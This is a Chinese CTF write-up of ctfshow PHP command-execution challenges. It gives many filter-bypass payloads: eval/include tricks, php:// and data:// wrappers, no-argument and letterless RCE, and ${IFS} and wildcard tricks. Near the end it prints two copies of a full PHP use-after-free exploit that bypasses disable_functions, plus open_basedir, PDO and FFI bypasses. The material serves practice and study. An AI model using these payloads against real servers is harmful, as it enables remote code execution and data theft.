目录
web29.
web30.
web31.
web32.
web33.
web34.
web35.
web36.
web37.
web38.
web39.
web40.
web41.
web42.
web43.
web44.
web45.
web46.
web47.
web48.
web49.
web50.
web51.
web52.
web53.
web54.
web55.
web56.
web57.
web58.
web59.
web60.
web61.
web62.
web63.
web64.
web65.
web66.
web67.
web68.
web69.
web70.
web71.
web72.
web73.
web74.
web75.
web76.
web77.
web118.
web119.
web120.
web121.
web122.
web124.
这种题一般都可以先写入phpinfo();进去看是否成功执行
也可以这样写。
这道题使用cat more rev啥的执行命令都不行,然后就只有tac能行。
这样就可以拿到flag.
这道题时是先去 用system查看当前目录下有什么文件。
然后发现在当前网站的目录下,就可以直接去tac拿到flag,因为flag被过滤了,只能用通配符绕过,
解法一: system('tac /f*');
解法二: file_get_contents("flag.php") //不能用的原因是把flag过滤了,用不了
解法三: system(’cp fl?g.php 1.txt'); 然后去访问1.txt就行 这个的意思是把flag.php里面的内容写给1.txt. ///cp 可以用mv来替代
这道题把这些过滤掉了 ,那么上一题的方法就全部用不了了
就只用用 `` 这个符号来替代system `` 这个符号在php和linux里代表的是命令执行,和system原理一样。
然后去访问1.txt,就能拿到flag.
解法二
preg_match
函数过滤system
函数,但是php中执行方法的函数有很多,比如passthru、exec,shell_exec
等 ,注意exec
对执行的结果不输出
passthru
和system
的作用是一样的,解题的姿势有很多
exec()函数执行
解法三
在php中echo ·命令·;也是可行并能执行输出的
等同于
一样的结果。
总结
解法一: ``来替代system()
解法二: passthru()和exec()来替代 system()
解法三: echo 加`` 来替代system();
这道题就是过滤了很多东西
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
以前只知道这个是过滤前面的关键字,现在的话了解到了一个|\.|这个是过滤了.
|\'这个是过滤了单引号 有了新收获
那么现在来解题,利用的是eval()当跳板,来使GET的参数逃逸出去,不会被正则匹配过滤
http://b0463f71-e09e-47ab-808f-30733b9e00b2.challenge.ctf.show/?c=eval($_GET[a]);&a=system('ls');
这个的意思让a当跳板,让a来替代c来执行。那么a就可以随便用了,就不会存在被过滤的情况。
最后拿到flag,查看源码的原因是,php文件不会显示出来,得查看源码才能显示出来,或者使用tac也可以,这个可以使源码显示出来,就不用出查看源码了。
这道题过滤挺多东西的,前面学的方法基本不能用了
这次用到了也是利用函数当跳板,利用include来当跳板
/?c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
因为 ; 被过滤了,只能用?>来替代,因为拿这个来替代以后,语句后面就不能来直接读取flag了。只能通过php伪协议来读取。
然后去解码就可以拿到flag了。
?c=require%0b$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
思路和web32是一样的。
可以用 echo print isset unset include require 来写 这些方法的用途上面都写到了
解法和上一题一样,就不多赘述了。
解法和上一题一样,就不多赘述了。
这题的解法和上一题一样,只是有一个差别就是不能用数字了
?c=require%0b$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
这样写就可以了。
可以使用php伪协议中的data协议来读取
?c=data://text//plain,
?c=data://text//plain, 这个协议的意思就是把text//plain,后面的语句当成php语句来执行。
php://filter/read=convert.base64-encode/resource=[文件名]
//不能用的原因是flag.php被过滤了,这里必须得用完整的名字才行,通配符不行。
php短标签
这道题的php被过滤了,就可以用短标签来替代。
?c=data://text//plain,= system('tac f*');?>
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php"); //给我们加了个后缀 '.php'
}
}else{
highlight_file(__FILE__);
}
接着可以去用data协议来解
这个只是后缀加了个.php文件,影响不大。
?c=data://text//plain,
这个加了后缀的文件包含执行的时候实际是这样的
?c=data://text//plain,.php
但是代码是先执行前面的语句的,所以影响不是很大
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
因为''等等被过滤了,相当于无参数rce
/?c=var_dump(scandir(current(localeconv())));
localeconv() 返回一包含本地数字及货币格式信息的数组,该数组第一个元素是.
current() 返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
读文件
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse()函数以相反的元素顺序返回数组
next() 将内部指针指向数组中的下一个元素
//这样写的原因我猜测应该是,早知道当前网站目录就两个文件,flag.php和index.php,然后用数组逆序,使两个文件交换位置,然后用next指向flag.php,因为初始指的都是第一个文件,然后用next就能指到flag.php
解法二:
GXYCTF的禁止套娃 通过cookie获得参数进行命令执行
c=session_start();system(session_id());
PHPSEEDID // 这里进行命令执行
解法三:
先打印当前所有变量
?c=print_r(get_defined_vars());
因为有post值,这是个突破口,所以post传参看看是否可行。
可以用来进行rce
next() 将内部指针指向数组中的下一个元素
所以进行next()就会指向phpinfo().
接下来进行数组弹出,把数组里面的value进行弹出,并且用print给打印出来。
array_pop():数组弹出
能够成功弹出,接下来就进行命令执行
发现能够成功执行,接下来就可以进行post rce了。
最后拿到flag.
这道题的考点是用异或来构造字符进行命令执行
('phpinfo')(); //这道题的考点就是这个,这样也是可以成功执行的。
利用二进制数进行或运算来得到16进制,然后用16进制来找对应的ascii码来构造playload
就是类似这样构造。
//这道题再给我的话,我应该是做不出的,这个py脚本不会写
这道题是system的命令执行,前面的是eval和include
首先查看这个代码,发现了一个新东西,就是
>/dev/null 2>&1 //就是这个新东西
Shell脚本———— /dev/null 2>&1详解 - Tinywan - 博客园
这篇博客,大概介绍了一下,可以去看看。
回归到这道题,我们可以利用分号来绕过这个黑洞
就是xxxx那块,可以随便输东西进去就可以,因为输了东西进去就可以让黑洞执行,前面的代码有分号隔开,就不会有影响,就可以直接输出。
分号被过滤可用连接符替代 这道题试了下 %0a 也可以。
&&得进行url编码 ||不需要进行编码,直接就可以用。
和上一题一样的解法。
这题和上一题一样,就多了个空格过滤。
%09 也可以当空格用
1. ? 这个通配符代表的是一位,*代表的是多位,这是这两个的区别
2. %09里面虽然有数字,但是它解码以后是一个水平制表符,不属于数字,所以可以用
和上一题解法 一样
和上一题解法一样
这道题的话,空格都被限制完了,得用到一个新姿势了
nl
查看源码就能看到flag.
和 上一题一样
可以看到这个把很多获取文件内容的指令都给过滤了 那么就可以考虑nl和cp了
因为尝试过直接读取flag,然后查到了个假的flag。
然后查看根目录
ls / 查看根目录指令
发现存在flag目录,就可以读取了
解法一:
nl${IFS}/fl""ag||aa //利用nl
解法二: 利用cp或者mv(这个是重命名)
?c=cp${IFS}/fl?g${IFS}/var/www/html/k.txt||qq
最后访问k.txt就能拿到flag.
这道题和web52一样的解法,这是这次的flag在当前网站目录,不在根目录,解法一样
也可以使用ta""c 或者ca""t 来执行,但是c?t却不行,我也不知道为什么。
|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.
这个正则匹配的星号和点号的含义。
点号是:任意字符
星号是:出现的次数
\s表示空白符,如:换行,回车,空格,tab空格,翻页等
*要求前面字符重复0次或多次
/,\s*/匹配逗号加任意多个空格(也可以没有空格).如:
1.","
2.", "
3.",
"(已经换到另一行)
这是个例子,可以看来学习
所以由以上的学习可知,ca""t 和nl fl""ag.php 都不能用了。
所以就得用cp或者mv了
还有另一种解法就是利用 uniq和grep来解题
grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
可构造playload:
?c=uniq${IFS}????.???
?c=grep${IFS}'{'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行)
这个是无字母进行rce
方法一:
这题禁用了 字母 a-z ,那么我可以用 /bin/base64 flag.php
加上通配符 则为 /???/????64 ????.??? 然后他就会出现 flag.php内容的base64编码
方法二:
还有一种做法,就是使用 /usr/bin/bzip2 进行对文件的压缩
同样是使用通配符进行payload, 然后 最后访问 /flag.php.bz2进行下载压缩包
方法三:
无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客_无字母数字命令执行
一些不包含数字和字母的webshell | 离别歌
无字母数字webshell之提高篇 | 离别歌
根据这两篇的学习,来写一下自己的见解。
为什么要用文件上传呢,因为就是 文件上传一个脚本的话 会先上传到服务器中的(文件上传文件都保存在这个位置)/tmp/phpxxxxxx(最后一位一定是大写)保存,这个谁都可以修改不需要权限,但是php这个语言对这个的处理是,在它没运行之前不会删除它,假如一共有2000行代码的话,前面1800行可能不会用到它,但是突然删除它的话,万一系统后面的两百行代码需要用到它,那么就会报错,所以php系统就选了一个折中的办法来预防这种情况,就是脚本执行后才会删除。
因为就是这个通配符的话,会导致很多文件同时被识别出来,无法确定该使用哪个,所以得用这个新的通配符,把^这个符号去掉的话就是代表必须得是这个[]里的内容。
其他话我就不多写了,因为上面的文章有解题过程了。
这里还有个疑问是#!/bin/sh是干什么的(简单来说就是用来执行脚本的)
#!/bin/sh是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面根的是此解释此脚本的shell的路径。
其实第一句的#!是对脚本的解释器程序路径,脚本的内容是由解释器解释的,我们可以用各种各样的解释器来写对应的脚本。
还有就是p佬的那篇文章中
这个玩意的解释。
这个是数字和字母双双过滤 是上一题的进化版
但是解法上一题的方法三是一样的,就不多赘述了。
这道题学到的新姿势是构造数字
$(())
: 做运算a=$((~$((xx))): 值为-1 所以在先$((a+a)) 就是这个样子就会输出-2
刚刚试了下,就是这样子,没错
完整playload
$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))
试了一下发现phpinfo() system被禁用了,
然后去试了下 发现file_get_contents()和show_source() 可以用
show_source()可以不用echo
然后查看源码就能拿到flag。
和上一题一样,但是file_get_contents()被过滤了,show_souce()可以用
用include 得配合php伪协议使用 前面有eval() GET传参的 方法都可以尝试一遍。
又是这样的题
方法一:show_source()
方法二: include($_GET[1])
方法三:highlight_file()
方法四:shell 来写
第一步
第二步
发现可执行,于是直接读取flag
第三步
这个就是把脚本写入nginx服务器里,然后在执行。
直接用show_source()直接拿到flag。
还是这样写
show_source() highlight_file()
还有一种新写法
一样的代码
show_source() highlight_file() 直接解
还有一种新方法,和上一题一样,但是上一题是猜到了变量名,这次是不知道变量名的情况下
get_defined_vars()是输出定义好的变量名,在知道在哪个文件下,但是不知道变量名的情况下可以使用。
和上一题一样
show_source() highlight_file()
方法二:这题用不了,但可以用来积累 就是 rename('flag.php','1.txt');
学到一个新东西,分享一下 scandir()
查看当前目录,
查看根目录
和上一题一样
新的方法 比较复杂的一种
这题用不了 可以当个积累。
// 创建一个curl句柄
$ch
= curl_init();
// 设置访问的URL
curl_setopt(
$ch
, CURLOPT_URL,
"http://aiezu.com"
);
// 将curl请求执行时,将结果返回,而不是直接输出
curl_setopt(
$ch
, CURLOPT_RETURNTRANSFER, 1);
// 执行curl请求,返回结果到变量
$html
= curl_exec(
$ch
);
// 关闭curl句柄
curl_close(
$ch
);
echo
strlen
(
$html
);
到时候直接?c= 把这些粘贴上去就行,然后删掉换行和注释就欧克了
这道题终于把show_source()给禁了,不能用了,就只能用 highlight_file()了
这肯定不在当前目录了,于是用print_r(scandir())查到在根目录,且文件名为flag.txt。
于是直接用highlight_file('/flag.php');
用上一题的解法就可以了,只不过这题把print_r()给禁了,所以换var_dump()查到在根目录。
打开是这样的,用include拿到flag。
这里include后面也不可以不写东西,因为不是php后缀的话,会默认以html格式输出,就可以直接拿到flag了。
用上一道题的方法也可以
还是这种,用上一题的方法还是可以解
题目给了个附件,下载拿到源码。
ob_get_contents(): 返回输出缓冲区的内容
ob_end_clean(): 清空(擦除)缓冲区并关闭输出缓冲
preg_replace(): 执行一个正则表达式的搜索和替换
以上就是题目出现的函数的解释了
解题:
思路就是让这部分不执行 利用exit()来解题;
源码和上一题一样,但是这题过滤了var_dump(); 可以用var_export()来替代。
exit()也可以用die()来替代
可以用另一种写法;
但是用不了 可以当作一种积累
php文件包含目录配置open_basedir的使用与性能分析_傲雪星枫的博客-CSDN博客_open_basedir
这篇文章介绍了open_basedir是干嘛的
这里ini_set()被禁用了,不能用来修改open_basedir指定的路径了,所以只能换一种方法
所以要先绕过open_basedir。首先排除命令执行绕过的可能,disable_function已经禁用了命令执行函数(不知道有没有什么办法绕过)。可以使用glob伪协议绕过,glob伪协议筛选目录不受open_basedir的制约。
下面的就是glob://伪协议绕过open_basedir
c=$a=new DirectoryIterator("glob:///*"); //""之间装的是路径,这里写的是根目录下的所有文件 foreach($a as $f) {echo($f->__toString().' '); } exit(0);
拿到文件名,
这里不能成功执行的原因是flag0.txt不在open_basedir规定的目录里,所以就得找一个脚本来绕过。
这个时候我们就需要用到uaf脚本绕过,disable_function()限制了很多函数,可以直接用uaf脚本进行命令执行(post的时候得让脚本进行url编码)
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
结束。
和上一题一样的办法,先查看flag在哪,叫什么名
名字改为flagc.txt了 然后就用上一个题的脚本来绕过,但是这道题把strlen()给ban了,所以我们就想到一种办法来进行绕过,就是改函数名,用自己定义的一个函数来进行绕过。
就是用这个函数来代替strlen.
以下就是修改好的poc 但是题目似乎还没有修复,用不了。。。。。。。还是会显示502
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
function strlen_user($s)
{
$ret=0;
for($i=0;$i<10000;$i++)
{
if($s[$i])
{
$ret=$ret+1;
}
else
{
break;
}
}
return $ret;
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen_user($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen_user($abc) == 79 || strlen_user($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
解法二:
直接include('/flagc.txt');exit(); 因为这次的flagc.txt在open_basedir()设置的路径里。
还是用glob伪协议看看flag文件叫什么名
然后,直接用include包含就可以解题了。
还是一样的题目。
这道题就是用文件包含include来做已经做不来了,然后用uaf脚本也用不了了,这里就学到一种数据库解法
第一步(先查到数据库名称)
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();
第二步
直接用load_file()查flag。(猜一下flag在ctftraining数据库里)
c=$dsn = "mysql:host=localhost;dbname=ctftraining";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select load_file('/flag36.txt')");
foreach($rs as $row){
echo($row[0])."|";
}exit();
然后拿到flag。
先用glob伪协议查到flag叫什么名(flag36d.txt),然后直接用上一题的pl直接拿到flag。
题目还是这样子,但是这道题不能用PDO来连接数据库了。
用glob伪协议 查出了根目录下的两个可疑文件 readflag flag36x.txt
所以
我们得换一种写法,就是利用FFI
利用php7.4的FFI
(PHP 7 >= 7.4.0, PHP 8)
FFI::cdef — Creates a new FFI object
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP7.4中FFI的介绍(代码示例)-php教程-PHP中文网
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//将readflag里面的内容传给1.txt
$ffi->system($a);//通过$ffi去调用system函数
ctfshow web入门 命令执行web75-77_Make-1t-0r-d1e的博客-CSDN博客_ctfshow web77
来自这篇文章,写的很好,可以参考
linux权限的可以参考这篇文章,写的很好很全
【Linux】目录文件权限的查看和修改_lduzhenlin的博客-CSDN博客
是system()的命令执行
这道题经过fuzz测试,发现大写字母A-Z
和${}~.?:都可以用
所以只能构造命令来执行
然后当前网站是在/var/www/html下面 所以可以进行构造
${PATH:~A}${PWD:~A}${IFS}???????? === nl flag.php //flag在flag.php是题目提示的
~A是指的是需要最后一位 ~0也是,但这里用不了,被过滤了。
php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户
这篇博客写的非常详细了,我就不写了,可以参考参考这篇博客。
这里面的HOSTNAME应该是自己去构造env看来的 或者是自己去构造echo ${HOSTNAME}看出来的
php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户
这篇文章里的${#IFS}
php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户
php代码审计前奏之ctfshow之命令执行 - FreeBuf网络安全行业门户
还是这篇文章 因为讲的很详细,所以我就不写了
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', content,content,used_funcs);
表示匹配content变量中以字母或下划线开头,后面任意数量的字母、数组、下划线组成的字符串,将所有的可能结果放在content变量中以字母或下划线开头,后面任意数量的字母、数组、下划线组成的字符串,将所有的可能结果放在used_funcs数组中。
其中,
还是这篇文章,写的真的很好,感兴趣可以去参考参考。